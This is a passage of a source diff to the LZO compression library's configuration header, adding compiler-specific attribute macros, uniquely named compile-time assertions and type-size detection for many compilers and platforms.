+# define __lzo_forceinline __inline__ __attribute__((__always_inline__))
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define __lzo_forceinline __inline__ __attribute__((__always_inline__))
+#elif (LZO_CC_MSC && (_MSC_VER >= 1200))
+# define __lzo_forceinline __forceinline
+#elif (LZO_CC_PGI >= 0x0d0a00ul)
+# define __lzo_forceinline __inline__ __attribute__((__always_inline__))
+#elif (LZO_CC_SUNPROC >= 0x5100)
+# define __lzo_forceinline __inline__ __attribute__((__always_inline__))
+#endif
+#endif
+#if defined(__lzo_forceinline)
+# ifndef __lzo_HAVE_forceinline
+# define __lzo_HAVE_forceinline 1
+# endif
+#else
+# define __lzo_forceinline __lzo_inline
+#endif
+#if !defined(__lzo_noinline)
+#if 1 && (LZO_ARCH_I386) && (LZO_CC_GNUC >= 0x040000ul) && (LZO_CC_GNUC < 0x040003ul)
+# define __lzo_noinline __attribute__((__noinline__,__used__))
+#elif (LZO_CC_GNUC >= 0x030200ul)
+# define __lzo_noinline __attribute__((__noinline__))
+#elif (LZO_CC_IBMC >= 700)
+# define __lzo_noinline __attribute__((__noinline__))
+#elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 600))
+# define __lzo_noinline __declspec(noinline)
+#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800))
+# define __lzo_noinline __attribute__((__noinline__))
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define __lzo_noinline __attribute__((__noinline__))
+#elif (LZO_CC_MSC && (_MSC_VER >= 1300))
+# define __lzo_noinline __declspec(noinline)
+#elif (LZO_CC_MWERKS && (__MWERKS__ >= 0x3200) && (LZO_OS_WIN32 || LZO_OS_WIN64))
+# if defined(__cplusplus)
+# else
+# define __lzo_noinline __declspec(noinline)
+# endif
+#elif (LZO_CC_PGI >= 0x0d0a00ul)
+# define __lzo_noinline __attribute__((__noinline__))
+#elif (LZO_CC_SUNPROC >= 0x5100)
+# define __lzo_noinline __attribute__((__noinline__))
+#endif
+#endif
+#if defined(__lzo_noinline)
+# ifndef __lzo_HAVE_noinline
+# define __lzo_HAVE_noinline 1
+# endif
+#else
+# define __lzo_noinline /*empty*/
+#endif
+#if (__lzo_HAVE_forceinline || __lzo_HAVE_noinline) && !(__lzo_HAVE_inline)
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if !defined(__lzo_static_inline)
+#if (LZO_CC_IBMC)
+# define __lzo_static_inline __lzo_gnuc_extension__ static __lzo_inline
+#endif
+#endif
+#if !defined(__lzo_static_inline)
+# define __lzo_static_inline static __lzo_inline
+#endif
+#if !defined(__lzo_static_forceinline)
+#if (LZO_CC_IBMC)
+# define __lzo_static_forceinline __lzo_gnuc_extension__ static __lzo_forceinline
+#endif
+#endif
+#if !defined(__lzo_static_forceinline)
+# define __lzo_static_forceinline static __lzo_forceinline
+#endif
+#if !defined(__lzo_static_noinline)
+#if (LZO_CC_IBMC)
+# define __lzo_static_noinline __lzo_gnuc_extension__ static __lzo_noinline
+#endif
+#endif
+#if !defined(__lzo_static_noinline)
+# define __lzo_static_noinline static __lzo_noinline
+#endif
+#if !defined(__lzo_c99_extern_inline)
+#if defined(__GNUC_GNU_INLINE__)
+# define __lzo_c99_extern_inline __lzo_inline
+#elif defined(__GNUC_STDC_INLINE__)
+# define __lzo_c99_extern_inline extern __lzo_inline
+#elif defined(__STDC_VERSION__) && (__STDC_VERSION__-0 >= 199901L)
+# define __lzo_c99_extern_inline extern __lzo_inline
+#endif
+#if !defined(__lzo_c99_extern_inline) && (__lzo_HAVE_inline)
+# define __lzo_c99_extern_inline __lzo_inline
+#endif
+#endif
+#if defined(__lzo_c99_extern_inline)
+# ifndef __lzo_HAVE_c99_extern_inline
+# define __lzo_HAVE_c99_extern_inline 1
+# endif
+#else
+# define __lzo_c99_extern_inline /*empty*/
+#endif
+#if !defined(__lzo_may_alias)
+#if (LZO_CC_GNUC >= 0x030400ul)
+# define __lzo_may_alias __attribute__((__may_alias__))
+#elif (LZO_CC_CLANG >= 0x020900ul)
+# define __lzo_may_alias __attribute__((__may_alias__))
+#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 1210)) && 0
+# define __lzo_may_alias __attribute__((__may_alias__))
+#elif (LZO_CC_PGI >= 0x0d0a00ul) && 0
+# define __lzo_may_alias __attribute__((__may_alias__))
+#endif
+#endif
+#if defined(__lzo_may_alias)
+# ifndef __lzo_HAVE_may_alias
+# define __lzo_HAVE_may_alias 1
+# endif
+#else
+# define __lzo_may_alias /*empty*/
+#endif
+#if !defined(__lzo_noreturn)
+#if (LZO_CC_GNUC >= 0x020700ul)
+# define __lzo_noreturn __attribute__((__noreturn__))
+#elif (LZO_CC_IBMC >= 700)
+# define __lzo_noreturn __attribute__((__noreturn__))
+#elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 450))
+# define __lzo_noreturn __declspec(noreturn)
+#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 600))
+# define __lzo_noreturn __attribute__((__noreturn__))
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define __lzo_noreturn __attribute__((__noreturn__))
+#elif (LZO_CC_MSC && (_MSC_VER >= 1200))
+# define __lzo_noreturn __declspec(noreturn)
+#elif (LZO_CC_PGI >= 0x0d0a00ul)
+# define __lzo_noreturn __attribute__((__noreturn__))
+#endif
+#endif
+#if defined(__lzo_noreturn)
+# ifndef __lzo_HAVE_noreturn
+# define __lzo_HAVE_noreturn 1
+# endif
+#else
+# define __lzo_noreturn /*empty*/
+#endif
+#if !defined(__lzo_nothrow)
+#if (LZO_CC_GNUC >= 0x030300ul)
+# define __lzo_nothrow __attribute__((__nothrow__))
+#elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 450)) && defined(__cplusplus)
+# define __lzo_nothrow __declspec(nothrow)
+#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 900))
+# define __lzo_nothrow __attribute__((__nothrow__))
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define __lzo_nothrow __attribute__((__nothrow__))
+#elif (LZO_CC_MSC && (_MSC_VER >= 1200)) && defined(__cplusplus)
+# define __lzo_nothrow __declspec(nothrow)
+#endif
+#endif
+#if defined(__lzo_nothrow)
+# ifndef __lzo_HAVE_nothrow
+# define __lzo_HAVE_nothrow 1
+# endif
+#else
+# define __lzo_nothrow /*empty*/
+#endif
+#if !defined(__lzo_restrict)
+#if (LZO_CC_GNUC >= 0x030400ul)
+# define __lzo_restrict __restrict__
+#elif (LZO_CC_IBMC >= 800) && !defined(__cplusplus)
+# define __lzo_restrict __restrict__
+#elif (LZO_CC_IBMC >= 1210)
+# define __lzo_restrict __restrict__
+#elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 600))
+#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 600))
+# define __lzo_restrict __restrict__
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM)
+# define __lzo_restrict __restrict__
+#elif (LZO_CC_MSC && (_MSC_VER >= 1400))
+# define __lzo_restrict __restrict
+#elif (LZO_CC_PGI >= 0x0d0a00ul)
+# define __lzo_restrict __restrict__
+#endif
+#endif
+#if defined(__lzo_restrict)
+# ifndef __lzo_HAVE_restrict
+# define __lzo_HAVE_restrict 1
+# endif
+#else
+# define __lzo_restrict /*empty*/
+#endif
+#if !defined(__lzo_alignof)
+#if (LZO_CC_ARMCC || LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI)
+# define __lzo_alignof(e) __alignof__(e)
+#elif (LZO_CC_GHS) && !defined(__cplusplus)
+# define __lzo_alignof(e) __alignof__(e)
+#elif (LZO_CC_IBMC >= 600)
+# define __lzo_alignof(e) (__lzo_gnuc_extension__ __alignof__(e))
+#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 700))
+# define __lzo_alignof(e) __alignof__(e)
+#elif (LZO_CC_MSC && (_MSC_VER >= 1300))
+# define __lzo_alignof(e) __alignof(e)
+#elif (LZO_CC_SUNPROC >= 0x5100)
+# define __lzo_alignof(e) __alignof__(e)
+#endif
+#endif
+#if defined(__lzo_alignof)
+# ifndef __lzo_HAVE_alignof
+# define __lzo_HAVE_alignof 1
+# endif
+#endif
+#if !defined(__lzo_struct_packed)
+#if (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020800ul)) && defined(__cplusplus)
+#elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020700ul))
+#elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020800ul)) && defined(__cplusplus)
+#elif (LZO_CC_PCC && (LZO_CC_PCC < 0x010100ul))
+#elif (LZO_CC_SUNPROC && (LZO_CC_SUNPROC < 0x5110)) && !defined(__cplusplus)
+#elif (LZO_CC_GNUC >= 0x030400ul) && !(LZO_CC_PCC_GNUC) && (LZO_ARCH_AMD64 || LZO_ARCH_I386)
+# define __lzo_struct_packed(s) struct s {
+# define __lzo_struct_packed_end() } __attribute__((__gcc_struct__,__packed__));
+# define __lzo_struct_packed_ma_end() } __lzo_may_alias __attribute__((__gcc_struct__,__packed__));
+#elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || (LZO_CC_PGI >= 0x0d0a00ul) || (LZO_CC_SUNPROC >= 0x5100))
+# define __lzo_struct_packed(s) struct s {
+# define __lzo_struct_packed_end() } __attribute__((__packed__));
+# define __lzo_struct_packed_ma_end() } __lzo_may_alias __attribute__((__packed__));
+#elif (LZO_CC_IBMC >= 700)
+# define __lzo_struct_packed(s) __lzo_gnuc_extension__ struct s {
+# define __lzo_struct_packed_end() } __attribute__((__packed__));
+# define __lzo_struct_packed_ma_end() } __lzo_may_alias __attribute__((__packed__));
+#elif (LZO_CC_INTELC_MSC) || (LZO_CC_MSC && (_MSC_VER >= 1300))
+# define __lzo_struct_packed(s) __pragma(pack(push,1)) struct s {
+# define __lzo_struct_packed_end() } __pragma(pack(pop));
+#elif (LZO_CC_WATCOMC && (__WATCOMC__ >= 900))
+# define __lzo_struct_packed(s) _Packed struct s {
+# define __lzo_struct_packed_end() };
+#endif
+#endif
+#if defined(__lzo_struct_packed) && !defined(__lzo_struct_packed_ma)
+# define __lzo_struct_packed_ma(s) __lzo_struct_packed(s)
+#endif
+#if defined(__lzo_struct_packed_end) && !defined(__lzo_struct_packed_ma_end)
+# define __lzo_struct_packed_ma_end() __lzo_struct_packed_end()
+#endif
+#if !defined(__lzo_byte_struct)
+#if defined(__lzo_struct_packed)
+# define __lzo_byte_struct(s,n) __lzo_struct_packed(s) unsigned char a[n]; __lzo_struct_packed_end()
+# define __lzo_byte_struct_ma(s,n) __lzo_struct_packed_ma(s) unsigned char a[n]; __lzo_struct_packed_ma_end()
+#elif (LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_PGI || (LZO_CC_SUNPROC >= 0x5100))
+# define __lzo_byte_struct(s,n) struct s { unsigned char a[n]; } __attribute__((__packed__));
+# define __lzo_byte_struct_ma(s,n) struct s { unsigned char a[n]; } __lzo_may_alias __attribute__((__packed__));
+#endif
+#endif
+#if defined(__lzo_byte_struct) && !defined(__lzo_byte_struct_ma)
+# define __lzo_byte_struct_ma(s,n) __lzo_byte_struct(s,n)
+#endif
+#if !defined(__lzo_struct_align16) && (__lzo_HAVE_alignof)
+#if (LZO_CC_GNUC && (LZO_CC_GNUC < 0x030000ul))
+#elif (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020800ul)) && defined(__cplusplus)
+#elif (LZO_CC_CILLY || LZO_CC_PCC)
+#elif (LZO_CC_INTELC_MSC) || (LZO_CC_MSC && (_MSC_VER >= 1300))
+# define __lzo_struct_align16(s) struct __declspec(align(16)) s {
+# define __lzo_struct_align16_end() };
+# define __lzo_struct_align32(s) struct __declspec(align(32)) s {
+# define __lzo_struct_align32_end() };
+# define __lzo_struct_align64(s) struct __declspec(align(64)) s {
+# define __lzo_struct_align64_end() };
+#elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_GNUC || (LZO_CC_IBMC >= 700) || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define __lzo_struct_align16(s) struct s {
+# define __lzo_struct_align16_end() } __attribute__((__aligned__(16)));
+# define __lzo_struct_align32(s) struct s {
+# define __lzo_struct_align32_end() } __attribute__((__aligned__(32)));
+# define __lzo_struct_align64(s) struct s {
+# define __lzo_struct_align64_end() } __attribute__((__aligned__(64)));
+#endif
+#endif
+#if !defined(__lzo_union_um)
+#if (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020800ul)) && defined(__cplusplus)
+#elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020700ul))
+#elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020800ul)) && defined(__cplusplus)
+#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER < 810))
+#elif (LZO_CC_PCC && (LZO_CC_PCC < 0x010100ul))
+#elif (LZO_CC_SUNPROC && (LZO_CC_SUNPROC < 0x5110)) && !defined(__cplusplus)
+#elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || (LZO_CC_PGI >= 0x0d0a00ul) || (LZO_CC_SUNPROC >= 0x5100))
+# define __lzo_union_am(s) union s {
+# define __lzo_union_am_end() } __lzo_may_alias;
+# define __lzo_union_um(s) union s {
+# define __lzo_union_um_end() } __lzo_may_alias __attribute__((__packed__));
+#elif (LZO_CC_IBMC >= 700)
+# define __lzo_union_am(s) __lzo_gnuc_extension__ union s {
+# define __lzo_union_am_end() } __lzo_may_alias;
+# define __lzo_union_um(s) __lzo_gnuc_extension__ union s {
+# define __lzo_union_um_end() } __lzo_may_alias __attribute__((__packed__));
+#elif (LZO_CC_INTELC_MSC) || (LZO_CC_MSC && (_MSC_VER >= 1300))
+# define __lzo_union_um(s) __pragma(pack(push,1)) union s {
+# define __lzo_union_um_end() } __pragma(pack(pop));
+#elif (LZO_CC_WATCOMC && (__WATCOMC__ >= 900))
+# define __lzo_union_um(s) _Packed union s {
+# define __lzo_union_um_end() };
+#endif
+#endif
+#if !defined(__lzo_union_am)
+# define __lzo_union_am(s) union s {
+# define __lzo_union_am_end() };
+#endif
+#if !defined(__lzo_constructor)
+#if (LZO_CC_GNUC >= 0x030400ul)
+# define __lzo_constructor __attribute__((__constructor__,__used__))
+#elif (LZO_CC_GNUC >= 0x020700ul)
+# define __lzo_constructor __attribute__((__constructor__))
+#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800))
+# define __lzo_constructor __attribute__((__constructor__,__used__))
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define __lzo_constructor __attribute__((__constructor__))
+#endif
+#endif
+#if defined(__lzo_constructor)
+# ifndef __lzo_HAVE_constructor
+# define __lzo_HAVE_constructor 1
+# endif
+#endif
+#if !defined(__lzo_destructor)
+#if (LZO_CC_GNUC >= 0x030400ul)
+# define __lzo_destructor __attribute__((__destructor__,__used__))
+#elif (LZO_CC_GNUC >= 0x020700ul)
+# define __lzo_destructor __attribute__((__destructor__))
+#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800))
+# define __lzo_destructor __attribute__((__destructor__,__used__))
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define __lzo_destructor __attribute__((__destructor__))
+#endif
+#endif
+#if defined(__lzo_destructor)
+# ifndef __lzo_HAVE_destructor
+# define __lzo_HAVE_destructor 1
+# endif
+#endif
+#if (__lzo_HAVE_destructor) && !(__lzo_HAVE_constructor)
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if !defined(__lzo_likely) && !defined(__lzo_unlikely)
+#if (LZO_CC_GNUC >= 0x030200ul)
+# define __lzo_likely(e) (__builtin_expect(!!(e),1))
+# define __lzo_unlikely(e) (__builtin_expect(!!(e),0))
+#elif (LZO_CC_IBMC >= 1010)
+# define __lzo_likely(e) (__builtin_expect(!!(e),1))
+# define __lzo_unlikely(e) (__builtin_expect(!!(e),0))
+#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 800))
+# define __lzo_likely(e) (__builtin_expect(!!(e),1))
+# define __lzo_unlikely(e) (__builtin_expect(!!(e),0))
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define __lzo_likely(e) (__builtin_expect(!!(e),1))
+# define __lzo_unlikely(e) (__builtin_expect(!!(e),0))
+#endif
+#endif
+#if defined(__lzo_likely)
+# ifndef __lzo_HAVE_likely
+# define __lzo_HAVE_likely 1
+# endif
+#else
+# define __lzo_likely(e) (e)
+#endif
+#if defined(__lzo_unlikely)
+# ifndef __lzo_HAVE_unlikely
+# define __lzo_HAVE_unlikely 1
+# endif
+#else
+# define __lzo_unlikely(e) (e)
+#endif
+#if !defined(__lzo_static_unused_void_func)
+# if 1 && (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || (LZO_CC_GNUC >= 0x020700ul) || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI)
+# define __lzo_static_unused_void_func(f) static void __attribute__((__unused__)) f(void)
+# else
+# define __lzo_static_unused_void_func(f) static __lzo_inline void f(void)
+# endif
+#endif
+#if !defined(__lzo_loop_forever)
+# if (LZO_CC_IBMC)
+# define __lzo_loop_forever() LZO_BLOCK_BEGIN for (;;) { ; } LZO_BLOCK_END
+# else
+# define __lzo_loop_forever() do { ; } while __lzo_cte(1)
+# endif
+#endif
+#if !defined(__lzo_unreachable)
+#if (LZO_CC_CLANG && (LZO_CC_CLANG >= 0x020800ul))
+# define __lzo_unreachable() __builtin_unreachable();
+#elif (LZO_CC_GNUC >= 0x040500ul)
+# define __lzo_unreachable() __builtin_unreachable();
+#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 1300)) && 1
+# define __lzo_unreachable() __builtin_unreachable();
+#endif
+#endif
+#if defined(__lzo_unreachable)
+# ifndef __lzo_HAVE_unreachable
+# define __lzo_HAVE_unreachable 1
+# endif
+#else
+# if 0
+# define __lzo_unreachable() ((void)0);
+# else
+# define __lzo_unreachable() __lzo_loop_forever();
+# endif
+#endif
+#ifndef __LZO_CTA_NAME
+#if (LZO_CFG_USE_COUNTER)
+# define __LZO_CTA_NAME(a) LZO_PP_ECONCAT2(a,__COUNTER__)
+#else
+# define __LZO_CTA_NAME(a) LZO_PP_ECONCAT2(a,__LINE__)
+#endif
#endif
#if !defined(LZO_COMPILE_TIME_ASSERT_HEADER)
# if (LZO_CC_AZTECC || LZO_CC_ZORTECHC)
-# define LZO_COMPILE_TIME_ASSERT_HEADER(e) extern int __lzo_cta[1-!(e)];
+# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1-!(e)]; LZO_EXTERN_C_END
# elif (LZO_CC_DMC || LZO_CC_SYMANTECC)
-# define LZO_COMPILE_TIME_ASSERT_HEADER(e) extern int __lzo_cta[1u-2*!(e)];
+# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1u-2*!(e)]; LZO_EXTERN_C_END
# elif (LZO_CC_TURBOC && (__TURBOC__ == 0x0295))
-# define LZO_COMPILE_TIME_ASSERT_HEADER(e) extern int __lzo_cta[1-!(e)];
+# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1-!(e)]; LZO_EXTERN_C_END
+# elif (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020900ul)) && defined(__cplusplus)
+# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN int __LZO_CTA_NAME(lzo_cta_f__)(int [1-2*!(e)]); LZO_EXTERN_C_END
+# elif (LZO_CC_GNUC) && defined(__CHECKER__) && defined(__SPARSE_CHECKER__)
+# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN enum {__LZO_CTA_NAME(lzo_cta_e__)=1/!!(e)} __attribute__((__unused__)); LZO_EXTERN_C_END
# else
-# define LZO_COMPILE_TIME_ASSERT_HEADER(e) extern int __lzo_cta[1-2*!(e)];
+# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1-2*!(e)]; LZO_EXTERN_C_END
# endif
#endif
#if !defined(LZO_COMPILE_TIME_ASSERT)
# if (LZO_CC_AZTECC)
-# define LZO_COMPILE_TIME_ASSERT(e) {typedef int __lzo_cta_t[1-!(e)];}
+# define LZO_COMPILE_TIME_ASSERT(e) {typedef int __LZO_CTA_NAME(lzo_cta_t__)[1-!(e)];}
# elif (LZO_CC_DMC || LZO_CC_PACIFICC || LZO_CC_SYMANTECC || LZO_CC_ZORTECHC)
# define LZO_COMPILE_TIME_ASSERT(e) switch(0) case 1:case !(e):break;
+# elif (LZO_CC_GNUC) && defined(__CHECKER__) && defined(__SPARSE_CHECKER__)
+# define LZO_COMPILE_TIME_ASSERT(e) {(void) (0/!!(e));}
+# elif (LZO_CC_GNUC >= 0x040700ul) && (LZO_CFG_USE_COUNTER) && defined(__cplusplus)
+# define LZO_COMPILE_TIME_ASSERT(e) {enum {__LZO_CTA_NAME(lzo_cta_e__)=1/!!(e)} __attribute__((__unused__));}
+# elif (LZO_CC_GNUC >= 0x040700ul)
+# define LZO_COMPILE_TIME_ASSERT(e) {typedef int __LZO_CTA_NAME(lzo_cta_t__)[1-2*!(e)] __attribute__((__unused__));}
# elif (LZO_CC_MSC && (_MSC_VER < 900))
# define LZO_COMPILE_TIME_ASSERT(e) switch(0) case 1:case !(e):break;
# elif (LZO_CC_TURBOC && (__TURBOC__ == 0x0295))
# define LZO_COMPILE_TIME_ASSERT(e) switch(0) case 1:case !(e):break;
# else
-# define LZO_COMPILE_TIME_ASSERT(e) {typedef int __lzo_cta_t[1-2*!(e)];}
+# define LZO_COMPILE_TIME_ASSERT(e) {typedef int __LZO_CTA_NAME(lzo_cta_t__)[1-2*!(e)];}
# endif
#endif
+LZO_COMPILE_TIME_ASSERT_HEADER(1 == 1)
+#if defined(__cplusplus)
+extern "C" { LZO_COMPILE_TIME_ASSERT_HEADER(2 == 2) }
+#endif
+LZO_COMPILE_TIME_ASSERT_HEADER(3 == 3)
#if (LZO_ARCH_I086 || LZO_ARCH_I386) && (LZO_OS_DOS16 || LZO_OS_DOS32 || LZO_OS_OS2 || LZO_OS_OS216 || LZO_OS_WIN16 || LZO_OS_WIN32 || LZO_OS_WIN64)
# if (LZO_CC_GNUC || LZO_CC_HIGHC || LZO_CC_NDPC || LZO_CC_PACIFICC)
# elif (LZO_CC_DMC || LZO_CC_SYMANTECC || LZO_CC_ZORTECHC)
@@ -1729,6 +1965,7 @@
# define __lzo_cdecl_va __lzo_cdecl
#endif
#if !(LZO_CFG_NO_WINDOWS_H)
+#if !defined(LZO_HAVE_WINDOWS_H)
#if (LZO_OS_CYGWIN || (LZO_OS_EMX && defined(__RSXNT__)) || LZO_OS_WIN32 || LZO_OS_WIN64)
# if (LZO_CC_WATCOMC && (__WATCOMC__ < 1000))
# elif (LZO_OS_WIN32 && LZO_CC_GNUC) && defined(__PW32__)
@@ -1738,61 +1975,615 @@
# endif
#endif
#endif
+#endif
+#ifndef LZO_SIZEOF_SHORT
+#if defined(SIZEOF_SHORT)
+# define LZO_SIZEOF_SHORT (SIZEOF_SHORT)
+#elif defined(__SIZEOF_SHORT__)
+# define LZO_SIZEOF_SHORT (__SIZEOF_SHORT__)
+#endif
+#endif
+#ifndef LZO_SIZEOF_INT
+#if defined(SIZEOF_INT)
+# define LZO_SIZEOF_INT (SIZEOF_INT)
+#elif defined(__SIZEOF_INT__)
+# define LZO_SIZEOF_INT (__SIZEOF_INT__)
+#endif
+#endif
+#ifndef LZO_SIZEOF_LONG
+#if defined(SIZEOF_LONG)
+# define LZO_SIZEOF_LONG (SIZEOF_LONG)
+#elif defined(__SIZEOF_LONG__)
+# define LZO_SIZEOF_LONG (__SIZEOF_LONG__)
+#endif
+#endif
+#ifndef LZO_SIZEOF_LONG_LONG
+#if defined(SIZEOF_LONG_LONG)
+# define LZO_SIZEOF_LONG_LONG (SIZEOF_LONG_LONG)
+#elif defined(__SIZEOF_LONG_LONG__)
+# define LZO_SIZEOF_LONG_LONG (__SIZEOF_LONG_LONG__)
+#endif
+#endif
+#ifndef LZO_SIZEOF___INT16
+#if defined(SIZEOF___INT16)
+# define LZO_SIZEOF___INT16 (SIZEOF___INT16)
+#endif
+#endif
+#ifndef LZO_SIZEOF___INT32
+#if defined(SIZEOF___INT32)
+# define LZO_SIZEOF___INT32 (SIZEOF___INT32)
+#endif
+#endif
+#ifndef LZO_SIZEOF___INT64
+#if defined(SIZEOF___INT64)
+# define LZO_SIZEOF___INT64 (SIZEOF___INT64)
+#endif
+#endif
+#ifndef LZO_SIZEOF_VOID_P
+#if defined(SIZEOF_VOID_P)
+# define LZO_SIZEOF_VOID_P (SIZEOF_VOID_P)
+#elif defined(__SIZEOF_POINTER__)
+# define LZO_SIZEOF_VOID_P (__SIZEOF_POINTER__)
+#endif
+#endif
+#ifndef LZO_SIZEOF_SIZE_T
+#if defined(SIZEOF_SIZE_T)
+# define LZO_SIZEOF_SIZE_T (SIZEOF_SIZE_T)
+#elif defined(__SIZEOF_SIZE_T__)
+# define LZO_SIZEOF_SIZE_T (__SIZEOF_SIZE_T__)
+#endif
+#endif
+#ifndef LZO_SIZEOF_PTRDIFF_T
+#if defined(SIZEOF_PTRDIFF_T)
+# define LZO_SIZEOF_PTRDIFF_T (SIZEOF_PTRDIFF_T)
+#elif defined(__SIZEOF_PTRDIFF_T__)
+# define LZO_SIZEOF_PTRDIFF_T (__SIZEOF_PTRDIFF_T__)
+#endif
+#endif
+#define __LZO_LSR(x,b) (((x)+0ul) >> (b))
+#if !defined(LZO_SIZEOF_SHORT)
+# if (LZO_ARCH_CRAY_PVP)
+# define LZO_SIZEOF_SHORT 8
+# elif (USHRT_MAX == LZO_0xffffL)
+# define LZO_SIZEOF_SHORT 2
+# elif (__LZO_LSR(USHRT_MAX,7) == 1)
+# define LZO_SIZEOF_SHORT 1
+# elif (__LZO_LSR(USHRT_MAX,15) == 1)
+# define LZO_SIZEOF_SHORT 2
+# elif (__LZO_LSR(USHRT_MAX,31) == 1)
+# define LZO_SIZEOF_SHORT 4
+# elif (__LZO_LSR(USHRT_MAX,63) == 1)
+# define LZO_SIZEOF_SHORT 8
+# elif (__LZO_LSR(USHRT_MAX,127) == 1)
+# define LZO_SIZEOF_SHORT 16
+# else
+# error "LZO_SIZEOF_SHORT"
+# endif
+#endif
+LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_SHORT == sizeof(short))
+#if !defined(LZO_SIZEOF_INT)
+# if (LZO_ARCH_CRAY_PVP)
+# define LZO_SIZEOF_INT 8
+# elif (UINT_MAX == LZO_0xffffL)
+# define LZO_SIZEOF_INT 2
+# elif (UINT_MAX == LZO_0xffffffffL)
+# define LZO_SIZEOF_INT 4
+# elif (__LZO_LSR(UINT_MAX,7) == 1)
+# define LZO_SIZEOF_INT 1
+# elif (__LZO_LSR(UINT_MAX,15) == 1)
+# define LZO_SIZEOF_INT 2
+# elif (__LZO_LSR(UINT_MAX,31) == 1)
+# define LZO_SIZEOF_INT 4
+# elif (__LZO_LSR(UINT_MAX,63) == 1)
+# define LZO_SIZEOF_INT 8
+# elif (__LZO_LSR(UINT_MAX,127) == 1)
+# define LZO_SIZEOF_INT 16
+# else
+# error "LZO_SIZEOF_INT"
+# endif
+#endif
+LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_INT == sizeof(int))
+#if !defined(LZO_SIZEOF_LONG)
+# if (ULONG_MAX == LZO_0xffffffffL)
+# define LZO_SIZEOF_LONG 4
+# elif (__LZO_LSR(ULONG_MAX,7) == 1)
+# define LZO_SIZEOF_LONG 1
+# elif (__LZO_LSR(ULONG_MAX,15) == 1)
+# define LZO_SIZEOF_LONG 2
+# elif (__LZO_LSR(ULONG_MAX,31) == 1)
+# define LZO_SIZEOF_LONG 4
+# elif (__LZO_LSR(ULONG_MAX,39) == 1)
+# define LZO_SIZEOF_LONG 5
+# elif (__LZO_LSR(ULONG_MAX,63) == 1)
+# define LZO_SIZEOF_LONG 8
+# elif (__LZO_LSR(ULONG_MAX,127) == 1)
+# define LZO_SIZEOF_LONG 16
+# else
+# error "LZO_SIZEOF_LONG"
+# endif
+#endif
+LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_LONG == sizeof(long))
+#if !defined(LZO_SIZEOF_LONG_LONG) && !defined(LZO_SIZEOF___INT64)
+#if (LZO_SIZEOF_LONG > 0 && LZO_SIZEOF_LONG < 8)
+# if defined(__LONG_MAX__) && defined(__LONG_LONG_MAX__)
+# if (LZO_CC_GNUC >= 0x030300ul)
